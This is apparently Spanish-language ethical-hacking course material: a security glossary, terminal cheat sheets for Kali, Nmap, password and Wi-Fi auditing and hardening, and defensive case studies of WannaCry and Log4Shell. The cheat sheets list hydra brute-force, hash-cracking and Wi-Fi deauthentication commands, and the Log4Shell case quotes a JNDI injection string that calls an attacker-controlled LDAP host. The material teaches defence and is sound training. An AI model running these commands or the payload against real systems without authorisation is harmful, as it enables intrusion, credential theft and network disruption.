LLAVE MAESTRA: ver GESTOR DE CONTRASENAS. Es la unica contraseña que el usuario debe memorizar; todo lo demas vive en el gestor.

MAC FLOODING: ataque que satura la tabla MAC de un switch para que se comporte como un hub y deje espiar el trafico. Defensa: port security en switches gestionables.

MDM (Mobile Device Management): gestion centralizada de celulares y tablets corporativos: borrado remoto, politicas, aplicaciones. Imprescindible con BYOD.

METADATOS: datos sobre los datos: autor, fecha, GPS de una foto. Los documentos publicados pueden filtrar información sensible en sus metadatos; se limpian antes de publicar.

MICROSEGMENTACION: segmentación fina de la red hasta el nivel de cada carga de trabajo. Es segmentación llevada al extremo, típica de zero trust.

NAC (Network Access Control): control que decide que dispositivos pueden entrar a la red según su estado de seguridad. Impide que un equipo infectado se conecte libremente.

NETCAT: la "navaja suiza" de TCP/UDP: lee y escribe datos por la red, útil para diagnóstico, banners y (con permiso) pruebas de conectividad.

NETFLOW: protocolo que resume el tráfico de red (quién habla con quién, cuánto). El SOC lo usa para detectar exfiltración y C2 sin inspeccionar contenido.

NIST: instituto de EE.UU. que publica marcos de ciberseguridad (NIST CSF) y guías técnicas. Referencia mundial junto con ISO 27001.

NONCE: número aleatorio de un solo uso en criptografía para evitar ataques de repetición. Aparece en WPA3, TLS y protocolos de autenticación.

NORMA ISO 27001: estándar internacional para sistemas de gestión de seguridad de la información. Certificarse demuestra un programa de seguridad maduro.

OFUSCACION: técnica de hacer el código difícil de leer para esconder su lógica (la usan tanto protectores legítimos como malware).

OSINT: ver sección H-L.

OWASP: fundación que publica recursos gratuitos de seguridad en aplicaciones web, famosa por su Top 10.

OWASP TOP 10: lista de los 10 riesgos más críticos en aplicaciones web (inyección, autenticación rota, exposición de datos...). Todo auditor web la conoce de memoria.

PAQUETE: unidad básica de datos que viaja por la red. Wireshark muestra cada paquete con sus cabeceras y contenido.

PCI DSS: norma de seguridad para quienes manejan tarjetas de pago. Exige cifrado, monitoreo y auditorías periódicas; incumplirla sale caro.

PIGGYBACKING: colarse físicamente tras una persona autorizada (sujetar la puerta). Es ingeniería social del mundo físico; se previene con torniquetes y cultura.

PIVOTING: usar un equipo comprometido como trampolin para atacar otros dentro de la red. Fase típica de post-explotación en pentests.

PKI (Infraestructura de clave pública): sistema de autoridades certificadoras y certificados que sostiene la confianza en internet (HTTPS, firmas, VPN).

PLAN DE RESPUESTA A INCIDENTES: documento con los pasos a seguir ante un incidente: contener, erradicar, recuperar y aprender. Sin plan, cada incidente es improvisación.

POLITICAS DE GRUPO (GPO): configuraciones centralizadas en Active Directory que aplican seguridad a todos los equipos Windows. Mal configuradas, son vía de ataque.

PORT KNOCKING: técnica de abrir un puerto solo tras recibir una secuencia secreta de conexiones. Es seguridad por oscuridad: útil como capa extra, nunca como única defensa.

PRIVACIDAD: derecho a controlar los datos personales. Las leyes (como la LFPDPPP en México) obligan a protegerlos; las auditorías verifican el cumplimiento.

PROXY INVERSO: servidor que recibe las peticiones de internet y las reparte a los servidores internos, ocultándolos. Mejora seguridad y rendimiento.

RAT (Remote Access Trojan): troyano que da control remoto total del equipo infectado. Herramienta clásica del ciberdelincuente y pesadilla del blue team.

RBAC (Control de acceso basado en roles): modelo donde los permisos se asignan a roles (vendedor, admin) y no a personas. Implementa el mínimo privilegio de forma ordenada.

REDUNDANCIA: duplicar componentes críticos (servidores, enlaces, energía) para que el fallo de uno no tumbe el servicio. Pilar de la disponibilidad.

REMEDIACION: corrección de las vulnerabilidades encontradas: parchear, reconfigurar, actualizar. El informe sin remediación no sirve de nada.

RESPUESTA A INCIDENTES: proceso de gestionar un incidente de seguridad de principio a fin. Roles típicos: contención, forense, comunicación y recuperación.

ROGUE AP: punto de acceso no autorizado conectado a la red corporativa (a veces lo pone un empleado "para tener mejor señal"). Es un agujero de seguridad clásico.

RPO / RTO: objetivos de recuperación: cuánto dato se puede perder (RPO) y en cuánto tiempo hay que volver a operar (RTO). Definen la estrategia de respaldos.

SAST (Static Application Security Testing): análisis de seguridad del CÓDIGO FUENTE sin ejecutarlo. Encuentra fallos temprano; se combina con DAST.

SCRIPT KIDDIE: atacante novato que usa herramientas de otros sin entenderlas. Ruidoso y facil de detectar, pero igual puede hacer dano.

SEGURIDAD FISICA: proteccion de instalaciones y equipos: cerraduras, camaras, control de acceso. Sin ella, el atacante simplemente entra y conecta su laptop.

SHADOW IT: tecnologia usada sin aprobacion del area de sistemas (apps, USBs, nubes personales). Crea puntos ciegos que el auditor debe descubrir.

SHELL: interprete de comandos del sistema (Bash, PowerShell). Obtener una shell en el objetivo es el momento "ya entre" de un pentest.

SHELL REVERSA: conexion donde el equipo victima se conecta de vuelta al atacante, evadiendo firewalls de entrada. Concepto clave que el defensor debe saber detectar.

SOAR: plataforma que automatiza la respuesta a incidentes (bloquear IPs, aislar equipos) segun reglas. Acelera al SOC frente a ataques a escala.

SPAM: correo basura masivo, a menudo vehiculo de phishing y malware. Los filtros antispam son la primera barrera del correo.

SPYWARE: malware que espia la actividad del usuario: teclas, pantalla, archivos. Los keyloggers son un tipo de spyware.

SSL/TLS: protocolos que cifran las comunicaciones (HTTPS, correos, VPNs). TLS 1.2 y 1.3 son los seguros; SSL esta obsoleto y roto.

SSO (Single Sign-On): iniciar sesion una vez para acceder a varios servicios. Comodo y centraliza el control, pero exige MFA fuerte: si cae, cae todo.

SUBDOMINIO: division de un dominio (blog.ejemplo.com). Los subdominios olvidados con servicios viejos son un clásico en auditorias.

TABLETOP EXERCISE: simulacro de incidente en mesa, sin sistemas reales: el equipo practica decisiones bajo presion. Barato y muy efectivo.

TAILGATING: ver PIGGYBACKING. (En seguridad fisica ambos describen colarse tras alguien autorizado.)

TCP: protocolo de transporte confiable y orientado a conexion: garantiza que los datos lleguen completos y en orden. Base de HTTP, SSH y casi todo.

TCP/IP: conjunto de protocolos que hace funcionar internet. El auditor entiende sus capas para interpretar escaneos y capturas.

THREAT HUNTING (Caza de amenazas): búsqueda proactiva de intrusos en la red antes de que las alertas salten. Es el blue team en modo ofensivo-defensivo.

THREAT INTELLIGENCE: información sobre atacantes, sus técnicas e IoCs, compartida entre organizaciones. Permite defenderse de campañas antes de sufrirlas.

TLS: ver SSL/TLS. (TLS es el sucesor seguro de SSL.)

TRAFICO CIFRADO: tráfico ilegible para quien lo intercepta. El reto moderno: el malware también lo usa, así que el SOC inspecciona metadatos y comportamiento.

TUNEL: encapsular un protocolo dentro de otro (VPN, SSH). Útil para administración segura; los atacantes lo usan para exfiltrar datos.

UDP: protocolo de transporte rápido pero no confiable: no garantiza entrega ni orden. Usado por DNS, video y juegos; también por ataques de amplificación.

USUARIO: cuenta que representa a una persona o servicio en el sistema. Las cuentas sin uso, con privilegios excesivos o sin MFA son hallazgos típicos.

WEB SHELL: script malicioso subido a un servidor web que permite controlarlo remotamente. Indica compromiso grave; buscarlas es rutina forense.

WHOIS: ver sección H-L. (Ampliación: la privacidad WHOIS oculta datos personales del registrante, pero el auditor aun ve fechas y registrador.)

GUSANO: ver GUSANO (Worm) en términos adicionales A-G.

ZOMBIE: equipo infectado que obedece órdenes remotas como parte de una botnet. El usuario rara vez nota que su equipo es un zombie.

Chuleta Unidad 2: Tu laboratorio (Kali Linux y terminal)

```

sudo apt update && sudo apt upgrade -y # actualiza listas y paquetes del sistema
pwd # muestra en que carpeta estas
ls -la # lista archivos incluyendo ocultos y permisos
cd /ruta/carpeta # cambia de directorio
mkdir auditoria && cd auditoria # crea carpeta de trabajo y entra en ella
cp archivo.txt copia.txt # copia un archivo
mv viejo.txt nuevo.txt # renombra o mueve un archivo
rm archivo.txt # borra un archivo (sin papelera, cuidado)
cat archivo.txt # muestra el contenido de un archivo
chmod 600 claves.txt # solo tu puedes leer y escribir el archivo

```

Chuleta Unidad 3: Reconocimiento y footprinting (OSINT)

```

whois ejemplo.com # datos publicos del registro del dominio
nslookup ejemplo.com # resuelve el dominio a su direccion IP
dig ejemplo.com ANY +short # consulta registros DNS del dominio
theHarvester -d ejemplo.com -b all # recolecta correos, subdominios y empleados
sublist3r -d ejemplo.com # enumera subdominios del objetivo
host -T ejemplo.com # intentos de transferencia de zona DNS
curl -I https://ejemplo.com # muestra cabeceras HTTP (servidor, tecnologias)
whatweb https://ejemplo.com # detecta tecnologias del sitio web
traceroute ejemplo.com # muestra la ruta de red hasta el objetivo
shodan host 8.8.8.8 # consulta que expone esa IP en Shodan

```

Chuleta Unidad 4: Escaneo de redes con Nmap

```

nmap -sn 192.168.1.0/24          # descubre hosts activos en tu red local
nmap -sV 192.168.1.10          # detecta servicios y versiones en el
objetivo
nmap -sC -sV 192.168.1.10      # escaneo con scripts basicos + versiones
nmap -p 1-1000 192.168.1.10    # escanea los primeros 1000 puertos
nmap -p- 192.168.1.10          # escanea TODOS los 65535 puertos
nmap -O 192.168.1.10           # intenta detectar el sistema operativo
nmap -sU --top-ports 50 192.168.1.10 # escanea los 50 puertos UDP mas comunes
nmap --script vuln 192.168.1.10 # scripts que buscan vulnerabilidades
conocidas
nmap -oN reporte.txt 192.168.1.10 # guarda el resultado en un archivo de
texto
nmap -T4 -F 192.168.1.10      # escaneo rapido (100 puertos mas comunes)

```

Chuleta Unidad 5: Analisis de vulnerabilidades

```

nmap --script vuln -sV 192.168.1.10 # busca CVEs conocidos en los servicios
searchsploit apache 2.4             # busca exploits publicos para un software
msfconsole                           # abre la consola de Metasploit
nmap -oX reporte.xml 192.168.1.10    # exporta el escaneo en XML para importar
a Nessus
nessus                               # (GUI) lanza Nessus para escaneo de
vulnerabilidades
gvm-start                            # inicia OpenVAS (alternativa gratuita a
Nessus)
nikto -h https://ejemplo.com         # escanea un servidor web en busca de
fallos comunes
wpscan --url https://ejemplo.com     # audita un sitio WordPress (plugins,
temas, usuarios)
sslyze --regular ejemplo.com:443     # revisa la configuracion TLS/SSL del
sitio
testssl.sh https://ejemplo.com       # auditoria completa del cifrado del sitio
web

```

Chuleta Unidad 6: Contraseñas y autenticación

```

hydra -l admin -P diccionario.txt ssh://192.168.1.10 # prueba claves SSH (solo
con permiso)
hydra -L usuarios.txt -P claves.txt ftp://192.168.1.10 # fuerza bruta contra FTP
autorizado
john --wordlist=rockyou.txt hashes.txt # audita hashes con diccionario
hashid 5f4dcc3b5aa765d61d8327deb882cf99 # identifica el tipo de un hash
mkpasswd -m sha-512 # genera un hash SHA-512 para /etc/shadow
openssl passwd -6 # genera hash SHA-512 de una contraseña
pwgen -s 20 1 # genera una contraseña aleatoria de 20
caracteres
fail2ban-client status sshd # revisa que fail2ban proteja el SSH
ssh-keygen -t ed25519 # crea un par de llaves SSH seguras
ssh-copy-id usuario@192.168.1.10 # instala tu llave publica en el servidor

```

Chuleta Unidad 8: Seguridad Wi-Fi

```

iwconfig # muestra las interfaces inalambricas
disponibles
airmon-ng start wlan0 # pone la tarjeta en modo monitor
airodump-ng wlan0mon # lista redes Wi-Fi cercanas y sus
clientes
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon # captura trafico
de una red
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon # desautentica clientes (solo
tu red)
aircrack-ng -w diccionario.txt captura-01.cap # prueba claves contra la captura
(tu red)
wifite # auditoria Wi-Fi automatizada (solo
redes propias)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF # prueba el PIN WPS (solo tu router,
desactivar WPS)
nmcli dev wifi list # lista redes Wi-Fi desde la terminal

```

Chuleta Unidad 9: Hardening de sistemas

```
sudo ufw enable                # activa el firewall UFW
sudo ufw allow 22/tcp          # permite SSH en el firewall
sudo ufw deny 23/tcp          # bloquea Telnet explicitamente
sudo ufw status verbose       # muestra las reglas activas del firewall
systemctl disable telnet      # desactiva un servicio innecesario
systemctl list-units --type=service --state=running # lista servicios en ejecucion
sudo apt autoremove && sudo apt autoclean # limpia paquetes viejos e innecesarios
sudo unattended-upgrades      # activa actualizaciones de seguridad automaticas
last                          # muestra los ultimos inicios de sesion
sudo grep "Failed password" /var/log/auth.log | tail # revisa intentos fallidos de SSH
chmod 700 ~/.ssh && chmod 600 ~/.ssh/* # permisos correctos para tus llaves SSH
rsync -av /datos/ /respaldo/    # sincroniza tu respaldo (regla 3-2-1)
```

ANEXO C: CASOS HISTÓRICOS DE SEGURIDAD Y SUS LECCIONES

Este anexo estudia ocho incidentes reales de seguridad informática que marcaron la historia del hacking ético defensivo. Ninguno de estos casos se presenta para enseñar a replicar ataques: se presentan para que aprendas a DEFENDERTE. Cada caso se disecciona desde la trinchera del defensor: qué falló, qué hubiera detenido el ataque y qué decisiones concretas tomarías tú si fueras el consultor responsable. Léelos como lo que son: lecciones pagadas con pérdidas millonarias ajenas, para que tú no tengas que pagar el mismo precio.

Caso 1: WannaCry (2017) - El ransomware que paralizó hospitales y empresas con un parche disponible

Contexto

El viernes 12 de mayo de 2017, un ransomware llamado WannaCry empezó a extenderse por el mundo a una velocidad que nadie había visto antes. En cuestión de horas infectó más de 200,000 computadoras en 150 países. Hospitales del sistema de salud británico (NHS) tuvieron que cancelar citas y cirugías; la empresa española Telefónica, la rusa Russian Railways, la automotriz Renault en Francia y miles de organizaciones quedaron con sus archivos cifrados y una pantalla pidiendo rescate en bitcoin.

Lo más perturbador del caso: el ataque usaba una vulnerabilidad de Windows (el protocolo SMBv1, explotada por la herramienta EternalBlue) para la cual Microsoft ya había publicado un parche DOS MESES ANTES, en marzo de 2017. Es decir: la defensa existía, era gratuita y estaba disponible. Las organizaciones afectadas simplemente no la habían aplicado.

EternalBlue era originalmente una herramienta de espionaje desarrollada por la Agencia de Seguridad Nacional (NSA) de Estados Unidos. En abril de 2017, un grupo conocido como Shadow Brokers la filtró a internet, junto con otras herramientas del arsenal de la agencia. Los creadores de WannaCry (atribuido por Estados Unidos y Reino Unido al gobierno de Corea del Norte, específicamente al grupo Lazarus) tomaron esa herramienta gratuita y la combinaron con un ransomware común y corriente. El resultado fue devastador.

Qué pasó (narración)

Todo empezó como cualquier campaña de ransomware: correos con adjuntos maliciosos y descargas infectadas. Pero WannaCry tenía algo que los ransomwares anteriores no tenían: un gusano de red incorporado. Una vez que infectaba una computadora, no se quedaba ahí esperando a que un usuario cometiera otro error: usaba EternalBlue para buscar otras máquinas vulnerables en la misma red y saltar a ellas automáticamente, sin intervención humana.

Piensa en una oficina: el empleado de recepción abre un archivo infectado. Minutos después, la computadora de contabilidad está cifrada. Luego la del gerente. Luego el servidor de archivos. Luego toda la sucursal. Y como las redes corporativas conectan sucursales entre sí, el gusano cruzaba de una sede a otra. El NHS, por ejemplo, tenía una red enorme interconectada: una sola entrada infectada bastó para que decenas de hospitales quedaran fuera de servicio.

El ransomware cifraba los archivos del disco duro y mostraba una nota de rescate pidiendo entre 300 y 600 dólares en bitcoin para "recuperar" la información. En realidad, el mecanismo de pago y descifrado de WannaCry era defectuoso: muchos de los que pagaron nunca recuperaron sus archivos. El daño económico total se estima en más de 4,000 millones de dólares a nivel mundial, contando paralización de operaciones, recuperación de sistemas y pérdida de datos.

El freno llegó de forma inesperada. Un investigador de seguridad británico de 22 años, conocido como MalwareTech (Marcus Hutchins), analizó el código del gusano y descubrió que antes de cifrar, WannaCry intentaba conectarse a un dominio de internet muy largo y aleatorio. Si el dominio respondía (es decir, si existía), el gusano se detenía. Era un "kill switch": probablemente un mecanismo de los creadores para desactivarlo si perdían el control. Hutchins registró ese dominio por unos 10 dólares y, sin saberlo al principio, activó el freno de emergencia mundial: las nuevas infecciones se detuvieron porque el dominio ya existía. El incidente se contuvo, aunque las máquinas ya cifradas no se recuperaron por esta vía.

Años después se confirmó lo que muchos sospechaban: las computadoras infectadas podían descifrarse sin pagar, porque una falla en el diseño del ransomware permitía recuperar las claves con herramientas gratuitas... siempre que no se hubiera reiniciado la máquina. El pago del rescate, además de financiar criminales, era en la mayoría de los casos inútil.

El impacto humano fue lo más grave. En el NHS, personal médico quedó sin acceso a historiales clínicos, resultados de laboratorio ni sistemas de citas: se estima que se cancelaron unas 19,000 citas y operaciones. Ambulancias fueron desviadas a otros hospitales. No hubo muertes atribuidas directamente, pero la interrupción puso vidas en riesgo real. En Renault, la

fábrica de Sandouville en Francia tuvo que parar su producción. Telefónica aisló redes enteras de forma preventiva. El costo global superó los 4,000 millones de dólares, pero el costo reputacional fue mayor: quedó demostrado que infraestructuras críticas de países enteros dependían de sistemas sin parchar. Meses después, el gobierno británico publicó una revisión que concluyó que el NHS pudo haber evitado el desastre con medidas básicas que ya estaban recomendadas. WannaCry se convirtió en el ejemplo que todo consultor usa para justificar presupuestos de parchado: "¿quieres ser el próximo titular?".

Técnica y vector de ataque

El vector de ataque de WannaCry tenía dos fases. La fase uno era la infección inicial: ingeniería social clásica. Correos de phishing con archivos adjuntos (documentos de Office con macros maliciosas) o enlaces a descargas infectadas. Un solo clic bastaba para que el ransomware se instalara. Esta parte no era novedosa: era el mismo truco de siempre.

La fase dos era la novedad letal: la propagación tipo gusano con EternalBlue. El protocolo SMB (Server Message Block) es el que usan las computadoras Windows para compartir archivos e impresoras en red. La versión 1 de este protocolo (SMBv1), ya obsoleta en 2017, tenía una vulnerabilidad crítica (CVE-2017-0144): un atacante podía enviar un paquete especialmente construido y ejecutar código remoto en la máquina víctima, con privilegios de sistema, sin necesidad de usuario ni contraseña. EternalBlue automatizaba ese exploit a la perfección.

Una vez dentro de una máquina, WannaCry instalaba además DoublePulsar, una "puerta trasera" que mantenía el acceso abierto para futuras instrucciones. Después el gusano escaneaba la red local buscando el puerto 445 (el puerto de SMB) abierto en otras máquinas, y repetía el ataque. Cada máquina infectada se convertía en un nuevo punto de propagación. El crecimiento era exponencial: de una a cientos en minutos dentro de una red corporativa típica.

También usaba un mecanismo de persistencia: se copiaba a sí mismo en el sistema y se programaba para ejecutarse al arranque, de modo que reiniciar la computadora no lo eliminaba.

Fallos defensivos

El fallo más grande y más vergonzoso: no aplicar un parche de seguridad crítico que llevaba dos meses disponible. Microsoft publicó el boletín MS17-010 en marzo de 2017 calificándolo como "crítico". Miles de organizaciones lo ignoraron. Algunas razones típicas: miedo a que el parche rompiera aplicaciones viejas, falta de un proceso de parchado regular, o simple desconocimiento de que el parche existía.

El segundo fallo: tener SMBv1 habilitado y expuesto. SMBv1 era un protocolo obsoleto desde hacía años; Microsoft llevaba tiempo recomendando deshabilitarlo. Muchas redes lo tenían activo en todas las máquinas y, peor aún, accesible entre segmentos de red que no tenían por qué comunicarse por ese protocolo.

El tercer fallo: falta de segmentación de red. En el NHS y en muchas empresas, una estación de trabajo de recepción podía comunicarse por SMB con servidores críticos y con otras sedes. No había barreras internas. El gusano encontró una autopista libre.

El cuarto fallo: sistemas operativos sin soporte. Muchas máquinas infectadas corrían Windows XP o Windows Server 2003, sistemas que Microsoft ya no actualizaba. Cuando estalló la crisis, Microsoft tuvo que hacer algo excepcional: publicar un parche de emergencia para Windows XP, un sistema muerto desde 2014. Si tu defensa depende de que el fabricante resucite un sistema muerto en una emergencia, tu defensa no existe.

El quinto fallo: respaldos inexistentes o inútiles. Muchas organizaciones descubrieron durante la crisis que sus respaldos estaban desactualizados, incompletos o conectados a la misma red (y por tanto también cifrados por el ransomware).

Lecciones para el defensor (lista concreta)

- Parchea lo crítico en días, no en meses. Una vulnerabilidad calificada como "crítica" y con exploit público debe parcharse en un plazo máximo de 72 horas en servidores expuestos y 2 semanas en estaciones de trabajo. Define ese plazo por escrito en tu política.
- Mantén un inventario de activos. No puedes parchar lo que no sabes que existe. El NHS no tenía claro cuántas máquinas con Windows viejo tenía. Un inventario actualizado es la base de todo lo demás.
- Deshabilita protocolos obsoletos. SMBv1, Telnet, SSLv2/v3: si un protocolo tiene más de una década de obsolescencia y una alternativa segura, apágalo en toda la organización. Hoy.
- Segmenta tu red. Una computadora de usuario nunca debería poder iniciar conexiones SMB contra un servidor crítico de otra sede. Divide la red en zonas y controla el tráfico entre ellas con reglas de firewall.

- Bloquea el puerto 445 en el perímetro. El tráfico SMB no tiene nada que hacer cruzando internet. Si tu firewall perimetral permite SMB hacia afuera o hacia adentro, ciérralo ya.
- Respaldos 3-2-1 y probados. Tres copias de los datos, en dos medios distintos, una fuera de la red (desconectada o inmutable). Y lo más importante: prueba la restauración cada trimestre. Un respaldo que nunca se probó es una esperanza, no un respaldo.
- Plan de respuesta a ransomware. Define ANTES de la crisis: quién decide si se paga (spoiler: casi nunca se debe pagar), cómo se aíslan las máquinas infectadas, a quién se notifica y en qué orden se restauran los servicios.
- Monitorea el escaneo interno. Un gusano genera un patrón de tráfico inconfundible: una máquina tocando el puerto 445 de cientos de direcciones en segundos. Un sistema de detección con esa regla básica habría dado la alerta en minutos.

Si fueras el consultor

Si en marzo de 2017 hubieras entrado como consultor a cualquiera de las organizaciones afectadas, tu informe habría sido directo. Primero: auditoría de parches inmediata y despliegue de MS17-010 en toda la flota en menos de una semana, empezando por servidores y equipos expuestos. Segundo: proyecto de deshabilitación de SMBv1 en 30 días, con excepciones documentadas y temporales solo donde una aplicación vieja lo exigiera (y con plan de migración de esa aplicación). Tercero: segmentación de red por zonas (usuarios, servidores, sedes) con el tráfico SMB permitido solo donde fuera estrictamente necesario. Cuarto: inventario completo de sistemas operativos sin soporte y plan de reemplazo o aislamiento total de esas máquinas. Quinto: verificación de respaldos con una restauración de prueba supervisada. Nada de esto requería tecnología exótica ni presupuestos millonarios: requería disciplina operativa. WannaCry no derrotó a la tecnología de defensa; derrotó a la falta de higiene básica. Esa es la lección que debes grabarte: en seguridad defensiva, lo básico hecho con constancia vence a lo avanzado hecho a medias.

Caso 2: Log4Shell / CVE-2021-44228 (2021) - La vulnerabilidad escondida en una biblioteca que usaba medio internet

Contexto

El 9 de diciembre de 2021, la comunidad de seguridad vivió lo que muchos describen como la peor vulnerabilidad de la década. No estaba en un sistema operativo famoso ni en un producto comercial caro: estaba en Log4j, una biblioteca gratuita de código abierto para registrar

eventos (logs) en aplicaciones Java, mantenida por un puñado de voluntarios de la Apache Software Foundation. Log4j estaba metida en millones de aplicaciones, servidores y dispositivos en todo el planeta: desde Minecraft hasta sistemas bancarios, pasando por servicios en la nube de Amazon, Apple, Cloudflare y Twitter.

La vulnerabilidad, catalogada como CVE-2021-44228 y bautizada "Log4Shell", permitía a un atacante ejecutar código remoto en un servidor con solo lograr que la aplicación registrara una cadena de texto controlada por él. Ni siquiera hacía falta autenticarse. La gravedad fue calificada con 10.0 sobre 10, la máxima posible. La directora de la agencia de ciberseguridad de Estados Unidos (CISA) la describió como una de las más graves que había visto en su carrera.

El detalle más incómodo: la función vulnerable llevaba en el código desde 2013. Durante ocho años, medio internet construyó sus sistemas sobre una bomba de tiempo que nadie había revisado con suficiente cuidado, mantenida por voluntarios sin sueldo. Log4Shell no fue solo un fallo técnico: fue una crisis del modelo de software moderno, donde empresas multimillonarias dependen de componentes gratuitos que nadie financia ni audita.

Qué pasó (narración)

El descubrimiento fue casi accidental. A finales de noviembre de 2021, el equipo de seguridad de Alibaba Cloud notó actividad extraña en sus sistemas y reportó la vulnerabilidad en privado a la Apache Software Foundation. La fundación trabajó en un parche en silencio, como manda el protocolo de divulgación responsable: avisar al fabricante, darle tiempo a corregir, y luego hacerlo público.

Pero el 9 de diciembre, antes del anuncio oficial coordinado, alguien publicó los detalles técnicos en redes sociales y el infierno se desató. En cuestión de horas, internet se llenó de escaneos masivos: atacantes de todo el mundo (criminales, curiosos y agencias de espionaje) probando servidores para ver cuáles eran vulnerables. Los investigadores veían millones de intentos de explotación por hora. Era una carrera: los defensores parcheando a contrarreloj mientras los atacantes automatizaban la explotación.

El vector era absurdamente simple. Muchas aplicaciones registran en sus logs cosas como el nombre de usuario que intenta entrar, los mensajes de un chat o los datos de un formulario. Un atacante solo tenía que escribir en cualquiera de esos campos una cadena especial como esta (simplificada): `${jndi:ldap://servidor-del-atacante/exploit}`. Cuando Log4j procesaba esa cadena para guardarla en el log, en lugar de tratarla como texto inofensivo, la interpretaba como una instrucción: "ve a buscar código a esa dirección y ejecútalo". El servidor obedecía y descargaba malware del atacante. Así de simple. Un campo de "nombre de usuario" en una página de login se convertía en una puerta de entrada con privilegios totales.

Los primeros días fueron caóticos. Minecraft, el videojuego más vendido de la historia, resultó vulnerable a través de su chat: un jugador podía tomar control del servidor con solo escribir la cadena mágica en el chat del juego. Empresas de nube como Cloudflare reportaron millones de intentos de ataque diarios. Los equipos de seguridad del mundo entero pasaron el fin de semana y las fiestas de diciembre parcheando sin descanso, en plena temporada navideña.

La cosa se complicó más: el primer parche (versión 2.15.0) resultó incompleto y los atacantes encontraron formas de rodearlo. Hubo que sacar la 2.16.0, y luego se descubrió otra vulnerabilidad relacionada (CVE-2021-45046), y luego otra más de denegación de servicio. Fueron semanas de parche tras parche, cada uno urgente.

Años después, Log4Shell sigue apareciendo en incidentes: hay sistemas olvidados, dispositivos IoT y software viejo que nunca se parchearon y siguen siendo explotados. La lección es que una vulnerabilidad en un componente compartido no se "arregla" en un fin de semana: tarda años en desaparecer del ecosistema.

La respuesta institucional fue histórica. CISA emitió una directiva de emergencia que obligaba a todas las agencias federales de Estados Unidos a parchear o mitigar en días, algo casi sin precedentes. Grandes empresas de nube publicaron guías, reglas de firewall y herramientas de detección gratuitas en cuestión de horas: Cloudflare, por ejemplo, desplegó protección a nivel de red para sus clientes antes de que muchos supieran que eran vulnerables. El incidente también aceleró la adopción del concepto SBOM a nivel gubernamental: Estados Unidos lo convirtió en requisito para software vendido al gobierno federal. Y dejó una imagen imborrable: la de tres voluntarios manteniendo gratis una biblioteca que sostenía billones de dólares en infraestructura, recibiendo de pronto miles de mensajes exigiendo un parche inmediato. Como defensor, Log4Shell te enseña humildad: tu perímetro no termina en tus servidores; termina en la última dependencia de tu última biblioteca.

Técnica y vector de ataque

La raíz técnica estaba en la función de "lookup" de Log4j, específicamente en la resolución JNDI (Java Naming and Directory Interface). JNDI es un mecanismo de Java para buscar recursos (como objetos o configuraciones) en servicios de directorio, incluyendo servidores LDAP remotos. Log4j permitía que los mensajes a registrar contuvieran expresiones entre `${...}` que se evaluaban dinámicamente. Si la expresión pedía una búsqueda JNDI contra un servidor LDAP controlado por el atacante, Java descargaba una clase remota y la ejecutaba.

En términos defensivos, esto es un caso de libro de "inyección de datos en un intérprete": el programa confunde datos (el texto que escribe el usuario) con instrucciones (la expresión a evaluar). Es la misma familia de fallos que la inyección SQL, solo que aquí el intérprete era el sistema de logs.

El ataque no requería autenticación en la mayoría de los casos: bastaba con que la aplicación registrara cualquier dato controlable por el atacante. Vectores documentados: campos de formularios web, encabezados HTTP (como el User-Agent), nombres de usuario en intentos de login, mensajes de chat en juegos, direcciones de correo en formularios de contacto, e incluso el nombre de un dispositivo Bluetooth. Cualquier texto que el usuario pudiera escribir y la aplicación registrara era un posible vector.

Una vez logrado el acceso inicial, los atacantes instalaban mineros de criptomonedas, ransomware o puertas traseras persistentes. También se documentó el uso de la vulnerabilidad para moverse lateralmente dentro de redes corporativas: un servidor vulnerable servía de trampolín hacia sistemas internos más valiosos.

Fallos defensivos

El primer fallo fue estructural y colectivo: nadie sabía dónde estaba Log4j. Las empresas no tenían un inventario de los componentes de código abierto dentro de su software (lo que hoy se llama SBOM: Software Bill of Materials, o "lista de ingredientes del software"). Cuando estalló la crisis, la primera pregunta de todo director de seguridad fue "¿usamos Log4j?" y la respuesta honesta en la mayoría de los casos fue "no lo sabemos". Tardaron días o semanas en averiguarlo, revisando aplicación por aplicación.

El segundo fallo: la función vulnerable existía desde 2013 sin que nadie cuestionara su diseño. Permitir que un sistema de logs ejecute búsquedas en servidores remotos controlados por terceros es una decisión de diseño peligrosa. El código abierto no es malo en sí mismo, pero "muchos ojos" no garantiza "ojos atentos": Log4j la revisaban poquísimos voluntarios.

El tercer fallo: falta de defensa en profundidad. Muchas aplicaciones vulnerables corrían con privilegios excesivos y con salida libre a internet. Si el servidor no hubiera podido conectarse al servidor LDAP del atacante (por un firewall de salida restrictivo), la explotación habría fallado aunque la vulnerabilidad existiera.

El cuarto fallo: el parche inicial incompleto. La versión 2.15.0 no cerraba del todo el problema, lo que generó una falsa sensación de seguridad en quienes parchearon rápido. La lección: en vulnerabilidades críticas, verifica que el parche realmente mitiga el problema (con pruebas) y mantente atento a actualizaciones de seguimiento.

El quinto fallo: software y dispositivos olvidados. Años después del incidente, siguen existiendo sistemas vulnerables porque nadie los inventarió: aplicaciones internas viejas, dispositivos IoT, herramientas de terceros. Lo que no se conoce no se parchea.

Lecciones para el defensor (lista concreta)

- Exige y mantén un SBOM. Para cada aplicación que desarrolles o compres, exige la lista completa de componentes de código abierto con sus versiones. Sin SBOM, ante la próxima "Log4Shell" estarás a ciegas durante días.
- Escanea tus dependencias continuamente. Usa herramientas de análisis de composición de software (SCA) que alerten automáticamente cuando una biblioteca que usas tenga una vulnerabilidad nueva. Intégralas en tu pipeline de desarrollo.
- Aplica el principio de mínimo privilegio a tus aplicaciones. Un servicio web no necesita correr como administrador del sistema. Si Log4Shell hubiera explotado una app con privilegios mínimos, el daño habría sido menor.
- Restringe la salida a internet de tus servidores (egress filtering). Tus servidores solo deberían poder conectarse a los destinos que necesitan. Un firewall de salida bien configurado bloquea la descarga de malware aunque el atacante logre inyectar la cadena.
- Desactiva funciones peligrosas que no uses. La resolución JNDI en logs no la necesitaba casi nadie; después del incidente, la recomendación fue desactivarla por defecto. Revisa tus componentes: ¿tienen funciones remotas activadas que jamás usas? Apágalas.
- Ten un plan de respuesta para vulnerabilidades "cero-day" masivas. Define quién se reúne, cómo se comunica la crisis, cómo se prioriza el parchado (servidores expuestos a internet primero) y cómo se buscan rastros de explotación previa (porque parchear no elimina al atacante que ya entró).

- Busca indicadores de compromiso, no solo parchees. Ante una vulnerabilidad tan explotada, asume que alguien pudo haber entrado antes del parche: revisa logs buscando las cadenas de explotación (\$jndi:...) y actividad anómala posterior.
